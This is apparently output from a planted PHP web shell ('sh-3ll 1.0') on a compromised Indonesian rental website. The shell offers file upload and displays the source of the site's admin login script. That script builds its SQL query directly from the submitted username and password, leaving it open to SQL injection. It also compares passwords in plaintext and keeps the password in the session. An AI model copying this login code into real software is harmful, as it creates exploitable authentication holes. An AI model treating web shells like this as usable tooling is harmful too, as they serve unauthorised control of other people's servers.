fhdfhdfhdfhdfhdfhdfdfhdfhdfhdhfdfhdfhdfhd dfhdfhdfhdfhdfhdfhdfhdfdfhdfhdfhdhfdfhdfhdfhdfh bnmbertsurrttrtrtrtrjhjhjjhjhhjhjhjhf'tdfg php sh-3ll

HOME


sh-3ll 1.0
DIR:/home/u1105814/public_html/rarental.co.id/admin/
Upload File :
Current File : /home/u1105814/public_html/rarental.co.id/admin/cek_login.php
<?php

include "config/koneksi.php";


$username = $_POST['username'];
$pass     = $_POST['password'];

$login=mysqli_query($connect,"SELECT * FROM pengguna WHERE username='$username' AND password='$pass'");
$ketemu=mysqli_num_rows($login);
$r=mysqli_fetch_array($login);

// Apabila username dan password ditemukan
if ($ketemu > 0){
	
	
	

		$_SESSION['namauser']     = $r['username'];
		$_SESSION['namalengkap']  = $r['nama'];
		$_SESSION['passuser']     = $r['password'];
		$_SESSION['leveluser']    = $r['akses'];
		echo "<center>LOGIN Sukses<br/>Anda akan diarahkan ke halaman admin.</center>";
		echo "<META HTTP-EQUIV='Refresh' CONTENT='3; URL=pages.php?module=user'>";
}
else{
  echo "<link href=../config/adminstyle.css rel=stylesheet type=text/css>";
  echo "<center><font color='red'LOGIN GAGAL!</font> <br> 
        Username atau Password Anda tidak benar.<br>";
  echo "<META HTTP-EQUIV='Refresh' CONTENT='3; URL=index.php'>";
}
?>